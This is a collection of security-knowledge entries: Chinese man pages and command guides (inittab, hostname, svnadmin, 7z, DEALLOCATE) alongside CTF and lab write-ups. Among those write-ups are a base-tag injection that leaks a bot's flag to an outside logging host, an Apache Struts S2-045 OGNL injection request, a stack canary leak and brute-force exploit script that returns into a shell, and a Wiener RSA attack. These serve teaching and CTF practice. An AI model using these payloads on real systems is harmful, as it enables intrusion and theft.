同时外部电源失败 (无效) 时被执行. (假设 UPS 和监视进程能够发现这样的情况). .\"}}} .\"{{{ ctrlaltdel .IP \fBctrlaltdel\fP 在 \fBinit\fP 收到 SIGINT 信号时执行此进程. 这意味着有人在控制台按下了 \fBCTRL\-ALT\-DEL\fP 组合键, 典型地, 可能是想执行类似 \fBshutdown\fP 然后进入单用户模式或 重新引导机器. .\"}}} .\"{{{ kbrequest .IP \fBkbrequest\fP 本进程在 \fBinit\fP 收到一个从控制台 键盘产生的特殊组合按键信号时执行. .sp 对于此功能本文档尚未完成; 可以在 kbd-x.xx 包中 找到更多信息 (在写作本文档时最新的是 kbd-0.94). 当然你可能想为某些 "KeyboardSignal" 行为 映射组合键, 如为了映射 (Alt-上箭头) 可以在键盘映射文件中 使用如下的方式: .RS .sp alt keycode 103 = KeyboardSignal .sp .RE .\"}}} .\"}}} .\"{{{ Examples .SH 举例 这是一个与老的 Linux inittab 文件类似的例子文件: .RS .sp .nf .ne 7 # inittab for linux id:1:initdefault: rc::bootwait:/etc/rc 1:1:respawn:/etc/getty 9600 tty1 2:1:respawn:/etc/getty 9600 tty2 3:1:respawn:/etc/getty 9600 tty3 4:1:respawn:/etc/getty 9600 tty4 .fi .sp .RE 本文件在引导时执行 \fB/etc/rc\fP 并且在 ty1\-tty4 上启动 getty 进程. .PP 一个更详尽的 \fBinittab\fP 会有不同的运行级 (参考本身的注释): .RS .sp .nf .ne 19 # 进入默认的运行级 id:2:initdefault: # 在进行其它工作之前先完成系统初始化. si::sysinit:/etc/rc.d/bcheckrc # 运行级 0 挂起系统, 6 重新引导, 1 单用户模式. l0:0:wait:/etc/rc.d/rc.halt l1:1:wait:/etc/rc.d/rc.single l2:2345:wait:/etc/rc.d/rc.multi l6:6:wait:/etc/rc.d/rc.reboot # "3 个键" 按下时要做的工作. ca::ctrlaltdel:/sbin/shutdown -t5 -rf now # 运行级2和3: 在控制台生成 getty 进程, 运行级为3时在 modem 上生成 getty. 1:23:respawn:/sbin/getty tty1 VC linux 2:23:respawn:/sbin/getty tty2 VC linux 3:23:respawn:/sbin/getty tty3 VC linux 4:23:respawn:/sbin/getty tty4 VC linux S2:3:respawn:/sbin/uugetty ttyS2 M19200 .fi .sp .RE .\"}}} .\"{{{ Files .SH 文件 /etc/inittab .\"}}} .\"{{{ Author .SH 作者 \fBInit\fP 由 Miquel van Smoorenburg (miquels@cistron.nl) 所写. 本手册页由 Sebastian Lederer (lederer@francium.informatik.uni-bonn.de) 所写, 由 Michael Haardt (u31b3hs@pool.informatik.rwth-aachen.de) 修改. .\"}}} .\"{{{ See also .SH 参考 .BR init (8), .BR telinit (8) .\"}}} .SH 中文版维护人 .B Yin Huaming <yhmact@pzh-public.sc.cninfo.net> .SH 中文版最新更新 2002年7月13日 .SH 中国 Linux 论坛 man 手册页翻译计划 .BI http://cmpp.linuxforum.net
sec-knowleage
hostname === 显示和设置系统的主机名 ## 补充说明 **hostname命令** 用于显示和设置系统的主机名称。 - 环境变量 `HOSTNAME` 也保存了当前的主机名。 - 在使用 `hostname` 命令设置主机名后,系统并不会永久保存新的主机名,重启之后还是原来的主机名。如果需要永久修改主机名,需要修改 `/etc/hosts` 和 `/etc/sysconfig/network` 的相关内容并进行重启;也可以使用 `hostnamectl` 命令进行永久修改。 ### 语法 ```shell hostname [-b] {hostname|-F file} 设置主机名称(或从文件获取) hostname [-a|-A|-d|-f|-i|-I|-s|-y] 显示格式化的名称 hostname 显示主机名称 {yp,nis,}domainname {nisdomain|-F file} 设置 NIS 主机名称(或从文件获取) {yp,nis,}domainname 显示 NIS 主机名称 dnsdomainname 显示 DNS 主机名称 hostname -V|--version|-h|--help 打印信息并退出 ``` ### 选项 ```shell -a, --alias 显示主机别名 -A, --all-fqdns 显示所有FQDN名称 -b, --boot 如果没有可用的主机名,则设置默认主机名 -d, --domain 显示DNS域名 -f, --fqdn, --long 显示FQDN名称 -F, --file 从给定文件中读取主机名或NIS域名 -i, --ip-address 显示主机的ip地址 -I, --all-ip-addresses 显示主机所有的ip地址 -s, --short 显示短主机名称,在第一个点处截断 -y, --yp, --nis 显示NIS域名 ``` ### 实例 显示主机名 ```shell [root@AY1307311912260196fcZ ~]# hostname AY1307311912260196fcZ ``` 临时改变主机名 ```shell [root@AY1307311912260196fcZ ~]# hostname newname ``` 显示主机的所有IP地址 ```shell [root@AY1307311912260196fcZ ~]# hostname -I 10.17.0.1 10.18.0.10 172.17.0.1 ```
sec-knowleage
# flagfriendly Web, Medium ## Description > Flags for friendly Kuchenblech http://45.76.92.221:8070/ ```python #!/usr/bin/env python3 import requests from flag import flag from flask import Flask, request, redirect, make_response app = Flask(__name__) @app.route("/", methods=["GET"]) def index(): title = request.args.get("title", default="Flags for Friendly Fellows", type=str) print("Flag cookie:", request.cookies.get("flag")) if request.cookies.get("flag") == flag: # Make sure the filename never leaks! path = flag else: path = "static/flag" response = make_response( f"""<!doctype html> <html> <head> <title>{title}</title> </head> <body> <h1>{title}</h1> <img src="/{path}.gif"/> </body> </html>""" ) response.headers["Content-Security-Policy"] = "img-src *; default-src 'none';" return response @app.route("/report") def report(): """ This can be used to make bots surf this site. Bots will have the flag cookie set accordingly. """ url = request.args.get("url", default="", type=str) if not url: return "No url parameter provided to surf to" return requests.get(f"http://surfer:8075?url={url}").text @app.route(f"/{flag}.gif") def show_gif(): return redirect("/static/flag.gif") if __name__ == "__main__": app.run() ``` ## Solution Visiting the website, we get the following output, as expected: ```html <!doctype html> <html> <head> <title>Flags for Friendly Fellows</title> </head> <body> <h1>Flags for Friendly Fellows</h1> <img src="/static/flag.gif"/> </body> </html> ``` The `title` field is clearly vulnerable to injection, but scripts won't execute due to the existence of the CSP (Content-Security-Policy) header. The solution is to inject an HTML tag instead: `<base href="" />`. This tag instructs the browser to load all relative resources from a given base address instead of assuming addresses are relative to the current page's URI. Let's try visiting `http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://www.google.com%22%20/%3E`: ```html <!doctype html> <html> <head> <title><base href="https://www.google.com" /></title> </head> <body> <h1><base href="https://www.google.com" /></h1> <img src="/static/flag.gif"/> </body> </html> ``` In this case, the browser attempts to load `/static/flag.gif` from `https://www.google.com` (this obviously fails). But what if we replace `https://www.google.com` with a server that logs all requests, such as [requestbin.com](https://requestbin.com)? ```html <!doctype html> <html> <head> <title><base href="https://enskhpoprq3jl.x.pipedream.net" /></title> </head> <body> <h1><base href="https://enskhpoprq3jl.x.pipedream.net" /></h1> <img src="/static/flag.gif"/> </body> </html> ``` Any access to this page will attempt to load the resource from `https://enskhpoprq3jl.x.pipedream.net`, which will be logged and visible by us. If we visit the page, `/static/flag.gif` will be loaded. But according to the challenge comments, we can trigger a bot to visit any link using the `/report` API, and the bot will have the cookie value which will load the real flag as the image path. To conclude, we need to access: ``` http://45.76.92.221:8070/report?url=http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E ``` The bot visits: ``` http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E ``` The visit gets logged: ``` GET /junior-CSP_THE_C_IS_FOR_CYBER.gif host: enskhpoprq3jl.x.pipedream.net Accept: image/webp,image/apng,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Pragma: no-cache Referer: http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36 Connection: keep-alive ``` The flag is: `junior-CSP_THE_C_IS_FOR_CYBER`
sec-knowleage
.\" You can view this file with: .\" nroff -man [filename] .\" .TH svnadmin 1 .SH NAME svnadmin \- Subversion 仓库管理工具 .SH "SYNOPSIS 总览" .TP \fBsvnadmin\fP \fIcommand\fP \fI/path/to/repos\fP [\fIoptions\fP] [\fIargs\fP] .SH "OVERVIEW 概述" Subversion 是一个版本控制系统,允许保存旧版本的文件和目录 (通常是源代码),保存一个记录何人,何时,为何作出修改等等信息的日志,与 CVS,RCS 或者 SCCS 工具类似。 \fBSubversion\fP 保存着主控源文件的单一拷贝。这份拷贝被称为代码 ``仓库'' (``repository'');它包含所有的信息,从而可以从中获取这些文件在先前任何时间的版本。 . 要获得有关 Subversion 项目的更多信息,请访问 http://subversion.tigris.org。 . Subversion 及其工具的文档,包括对 \fBsvn\fP,\fBsvnadmin\fP,\fBsvnserve\fP 和 \fBsnvlook\fP 程序详细的使用说明和解释,历史背景,哲学探讨和追求等等,可以从 http://svnbook.red-bean.com/ 找到。 . 运行 `svnadmin help' 来阅读内建的工具文档。
sec-knowleage
# S2-045 Remote Code Execution Vulnerablity(CVE-2017-5638) [中文版本(Chinese version)](README.zh-cn.md) Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 References: - http://struts.apache.org/docs/s2-045.html - https://nsfocusglobal.com/apache-struts2-remote-code-execution-vulnerability-s2-045/ ## Setup Execute the following command to start the Struts2 2.3.30: ``` docker compose up -d ``` After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page. ## Exploitation Verify the vulnerability by following request: ``` POST / HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,es;q=0.6 Connection: close Content-Length: 0 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data ``` `233*233` has been successfully executed: ![](1.png)
sec-knowleage
7z === 拥有极高压缩比的开源压缩软件。 ## 安装 在 Linux 中输入以下命令安装 7-Zip。 ```bash # Ubuntu 系统 apt-get update apt-get install p7zip-full -y # CentOS 参考:https://linuxconfig.org/how-to-install-p7zip-on-redhat-8 sudo yum install epel-release yum install p7zip p7zip-plugins ``` ## 实例 介绍几个常用场景:解压、压缩、查看(压缩包内容)。 1、将压缩文件 text.7z 在当前目录下解压缩。 ```bash 7z x text.7z ``` 2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。 ```bash # 注意 -o 用来指定解压缩文件存放目录,-o 后是没有空格的,直接接目录 7z x text.7z -r -o/home/text ``` 3、将文件 /home/text 压缩成 text.7z。 ```bash 7z a text.7z -r /home/text ``` 4、查看压缩包 text.7z 内容,但不解压。 ```bash 7z l text.7z ``` ## help 信息翻译 ```shell 使用方法: 7z <命令> [<开关>...] <archive_name> [<file_names>...] <命令> a : 添加文件到存档 b : 基准测试 d : 从存档中删除文件 e:从档案中提取文件(不使用目录名)。 h:计算文件的哈希值 i : 显示支持的格式信息 l : 列出档案的内容 rn : 重命名档案中的文件 t : 测试档案的完整性 u : 更新档案中的文件 x : 提取完整路径的文件 <开关> --:停止开关解析 @listfile : 设置包含文件名的列表文件的路径 -ai[r[-|0]]{@listfile|!wildcard} : 包括归档文件 -ax[r[-|0]]{@listfile|!wildcard} : 排除档案。 -ao{a|s|t|u} : 设置覆写模式 -an : 禁用档案名称字段 -bb[0-3] : 设置输出日志级别 -bd : 禁用进度指示器 -bs{o|e|p}{0|1|2}:设置输出/错误/进度行的输出流 -bt : 显示执行时间统计 -i[r[-|0]]{@listfile|!通配符} : 包括文件名 -m{Parameters} : 设置压缩方法 -mmt[N] : 设置CPU线程的数量 -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强) -o{Directory} : 设置输出目录 -p{Password} : 设置密码 -r[-|0] : 重新搜索子目录 -sa{a|e|s} : 设置存档名称模式 -scc{UTF-8|WIN|DOS}:设置控制台输入/输出的字符集。 -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}}:设置列表文件的字符集。 -scrc[CRC32|CRC64|SHA1|SHA256|*] :为x、e、h命令设置哈希函数。 -sdel : 压缩后删除文件 -seml[.] : 通过电子邮件发送档案 -sfx[{name}] : 创建SFX档案 -si[{name}] : 从stdin读取数据 -slp : 设置大型页面模式 -slt : 显示l(List)命令的技术信息 -snh : 将硬链接存储为链接 -snl : 将符号链接存储为链接 -sni : 存储NT安全信息 -sns[-] : 存储NTFS备用流 -so : 向stdout写数据 -spd : 禁用文件名的通配符匹配 -spe : 消除提取命令中根文件夹的重复。 -spf : 使用完全合格的文件路径 -ssc[-] : 设置敏感的大小写模式 -ssw : 压缩共享文件 -stl : 从最近修改的文件设置存档时间戳 -stm{HexMask} : 设置CPU线程亲和力掩码(十六进制数字)。 -stx{Type} : 排除存档类型 -t{Type} : 设置存档的类型 -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 -v{大小}[b|k|m|g] : 创建卷册 -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 -y : 假设所有的查询都是肯定的 ``` ## 官网 更多安装使用方法可以访问官网学习:[https://www.7-zip.org/](https://www.7-zip.org/) 或者可以访问简体中文网站:[https://sparanoid.com/lab/7z/](https://sparanoid.com/lab/7z/)
sec-knowleage
# Canary ## 介绍 Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。 我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。 由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。 Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。 Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。 ## Canary 原理 ### 在 GCC 中使用 Canary 可以在 GCC 中使用以下参数设置 Canary: ``` -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护 ``` ### Canary 实现原理 开启 Canary 保护的 stack 结构大概如下: ``` High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address ``` 当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下: ```asm mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax ``` 在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。 ```asm mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt> ``` 如果 Canary 已经被非法修改,此时程序流程会走到 `__stack_chk_fail`。`__stack_chk_fail` 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。 ```C eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); } ``` 这意味可以通过劫持 `__stack_chk_fail` 的 got 值劫持流程或者利用 `__stack_chk_fail` 泄漏内容(参见 stack smash)。 进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack\_guard。 ```C typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t; ``` 如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。 事实上,TLS 中的值由函数 security\_init 进行初始化。 ```C static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value) ``` ## Canary 绕过技术 ### 序言 Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。 ### 泄露栈中的 Canary Canary 设计为以字节 `\x00` 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。 #### 利用示例 存在漏洞的示例源代码如下: ```C // ex2.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; } ``` 编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护) ```bash $ gcc -m32 -no-pie ex2.c -o ex2 ``` 首先通过覆盖 Canary 最后一个 `\x00` 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中 ```python #!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive() ``` ### one-by-one 爆破 Canary 对于 Canary,虽然每次进程重启后的 Canary 不同(相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码: ```python print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary ``` ### 劫持__stack_chk_fail函数 已知 Canary 失败的处理逻辑会进入到 `__stack_chk_fail`ed 函数,`__stack_chk_fail`ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。 参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 `__stack_chk_fail` 的 GOT 表,再进行 ROP 利用 ### 覆盖 TLS 中储存的 Canary 值 已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。 参见 StarCTF2018 babystack
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DEALLOCATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DEALLOCATE \- 删除一个准备好的查询 .SH SYNOPSIS .sp .nf DEALLOCATE [ PREPARE ] \fIplan_name\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBDEALLOCATE\fR 用于删除前面准备好的查询。 如果你没有明确 DEALLOCATE 一个准备好的查询, 那么它在会话结束的时候删除。 .PP 有关已准备好的查询的更多信息。参阅 PREPARE [\fBprepare\fR(7)]. .SH "PARAMETERS 参数" .TP \fBPREPARE\fR 这个关键字被忽略。 .TP \fB\fIplan_name\fB\fR 要删除的已准备查询。 .SH "COMPATIBILITY 兼容性" .PP SQL 标准包括一个 DEALLOCATE 语句,但它只是用于嵌入的 SQL 客户端。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
import sys from itertools import product import ssl, socket def multiply(matr_a, matr_b): """Return product of an MxP matrix A with an PxN matrix B.""" cols, rows = len(matr_b[0]), len(matr_b) resRows = xrange(len(matr_a)) rMatrix = [[0] * cols for _ in resRows] for idx in resRows: for j, k in product(xrange(cols), xrange(rows)): rMatrix[idx][j] += matr_a[idx][k] * matr_b[k][j] rMatrix[idx][j] %= 10**9 return rMatrix def fastPow(x, n): if(n == 0): return [[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]] if(n % 2 == 1): return multiply(fastPow(x, n-1), x) else: a = fastPow(x, n/2) b = multiply(a, a) return b class Connect(object): def __init__(self, host, port): self.context = ssl.create_default_context() self.conn = self.context.wrap_socket( socket.socket(socket.AF_INET), server_hostname=host) self.conn.connect((host, port)) self.f = self.conn.makefile('r+b', 0) def __enter__(self): return self.f def __exit__(self, type, value, traceback): self.f.close() init = [[1, 1, 1, 1],[1, 1, 1, 0],[1, 1, 0, 0],[1, 0, 0, 0]] begin = [[4, 1, 0, 0], [3, 0, 1, 0], [2, 0, 0, 1], [1, 0, 0, 0]] def getN(n): ans = fastPow(begin, n) ans = multiply(init, ans) return ans[0][0] def suma(n): a = getN(n+4) b = 3*getN(n+3) c = 6*getN(n+2) d = 8*getN(n+1) return (a-b-c-d+16 +20*(10**9)) * 888888889 with Connect('programming.pwn2win.party', 9001) as f: for line in f: line = line.strip() print('received: %s' % line) n = int(line) #n = 6412110170302000 n-=4 if line.startswith('CTF-BR{') or line == 'WRONG ANSWER': break f.write('%09d %09d\n' % (getN(n)%(10**9), (suma(n))%(10**9))) print('sent: %d %d \n' % (getN(n)%(10**9), (suma(n))%(10**9)))
sec-knowleage
# Dachshund Attacks Category: Crypto, 80 points ## Description > What if d is too small? ## Solution Let's connect to the attached service: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Dachshund_Attacks] └─$ nc mercury.picoctf.net 31133 Welcome to my RSA challenge! e: 40185337488228965483088768689361237580655397969352079774015797079626751211817603607155962600219370112069853693506378621129705581863959239984871073674637310005220323695488701830477574210150173980203084059519439551150923764323395592278383658383525721471839777239932693638775164411928659371101425091253226312809 n: 73858245204393269120598772974257218874289179816258533748548954836353808000542909731398449660121424717248079724923923284922221800385870164798744402737063530114487159042350959711492581286948377310386675916734743955708759421607349585475823504183537132290212235481788134354234151518170214048887523664730897405647 c: 11279019002658132246395680583012680197641520463055015905954159065596263829466315684813964601637222796742820040947867106250604831640789683230174556440623073026811900236014477245382133062014821631152893829897692611106964558955134460480794092202226246351625569961925929573208935964302390747204250124554416009841 ``` The description says that a small `d` value is used. This, and the challenge title, point towards [Wiener's attack](https://en.wikipedia.org/wiki/Wiener%27s_attack). ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Dachshund_Attacks] └─$ python3 ~/utils/crypto/RsaCtfTool/RsaCtfTool.py -n 73858245204393269120598772974257218874289179816258533748548954836353808000542909731398449660121424717248079724923923284922221800385870164798744402737063530114487159042350959711492581286948377310386675916734743955708759421607349585475823504183537132290212235481788134354234151518170214048887523664730897405647 -e 40185337488228965483088768689361237580655397969352079774015797079626751211817603607155962600219370112069853693506378621129705581863959239984871073674637310005220323695488701830477574210150173980203084059519439551150923764323395592278383658383525721471839777239932693638775164411928659371101425091253226312809 --uncipher 11279019002658132246395680583012680197641520463055015905954159065596263829466315684813964601637222796742820040947867106250604831640789683230174556440623073026811900236014477245382133062014821631152893829897692611106964558955134460480794092202226246351625569961925929573208935964302390747204250124554416009841 --attack wiener private argument is not set, the private key will not be displayed, even if recovered. [*] Testing key /tmp/tmp_mbmx4ue. [*] Performing wiener attack on /tmp/tmp_mbmx4ue. 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 619/619 [00:01<00:00, 551.94it/s] 25%|█████████████████████████████████████████▎ | 154/619 [00:00<00:00, 1819.71it/s] [*] Attack success with wiener method ! Results for /tmp/tmp_mbmx4ue: Unciphered data : HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007069636f4354467b70726f76696e675f7769656e65725f313134363038347d INT (big endian) : 198614235373674103788888306985643587194108045477674049828293333354607555709 INT (little endian) : 87921226389248609991416580924261379220834209570216127188744368794844983358867834124248414628711792213050850983251956877756570780708855133214828939851701104528276715881992414177645078631779504417424285365191693621622775553702005676528503892037702385734519870361795786506467713703552453301138070119563546066944 STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00picoCTF{proving_wiener_1146084}' ``` The flag: `picoCTF{proving_wiener_1146084}`.
sec-knowleage
_ = 1 __ = 2 ___ = 3 ____ = 4 _____ = 5 ______ = 6 _______ = 7 ________ = 8 print(hex(eval("(((_____ << __) + _) << ((((_____ << __) - _) << ____) - _)) - (((((___ << __) - _) << __) + _) << (((((_ << ___) + _)) << _____) + (_ << __))) + (((_______ << _____) - _______) << ((((_ << ____) + _) << ____) + (___ << _))) - (((_ << _______) - ___) << ((((_ << ____) + _) << ____) - ___)) + (((((___ << __) + _) << ____) - ___) << ((_ << ________) + (_ << _))) + (((___ << ______) + _____) << ((((_ << ____) - _) << ____) + _______)) - (((((_ << ____) - _) << ____) - ___) << ((((_ << ____) - _) << ____) - ___)) + (((((___ << __) - _) << _____) + ___) << ((_______ << _____))) + (((_______ << _____) + _) << ((((___ << __) + _) << ____) + (___ << _))) - (((((___ << __) - _) << ___) - ___) << ((((___ << __) + _) << ____) - ___)) + (((((_____ << __) - _) << ____) + ___) << ((___ << ______))) + (((((___ << __) + _) << ___) - ___) << ((___ << ______) - (_ << ___))) + (((___ << ______) + _) << ((((___ << __) - _) << ____) - (_ << _))) - (((((_____ << __) - _) << ____) + ___) << ((_____ << _____) + ___)) - (((_______ << _____) + _____) << ((((_____ << __) - _) << ___) + _)) - (((((___ << __) + _) << ____) - _____) << (((((_ << ___) + _)) << ____))) + (((___ << ______) + _) << ((((_ << ____) + _) << ___) - (_ << _))) - (((((_ << ____) - _) << __) + _) << ((_ << _______) - ___)) + (((((___ << __) + _) << ____) - ___) << ((_______ << ____) + (_ << _))) + (_______ << ((((___ << __) + _) << ___) + ___)) + (((_______ << ____) - ___) << ((___ << _____) - _)) - (((((_ << ____) - _) << __) + _) << ((((___ << __) - _) << ___) - _)) - (((((___ << __) + _) << ___) + ___) << ((_____ << ____) - (_ << _))) - (((((_ << ____) - _) << ___) - ___) << ((((_ << ____) + _) << __) + _)) + (((_____ << ____) + ___) << ((((_ << ____) - _) << __))) + (((_____ << ___) - _) << ((((___ << __) + _) << __) - _)) + (((_______ << ___) + _) << ((_____ << ___))) + (((_ << _____) - _) << ((_ << _____) + (_ << _))) - (((((___ << __) - _) << __) - _) << ((((___ << __) + _) << _))) - (((___ << ___) - _) << ((_____ << __) - _)) + (((_____ << __) + _) << ((___ << __))) + ((((___ << __) + _)) << ______) + _")));
sec-knowleage
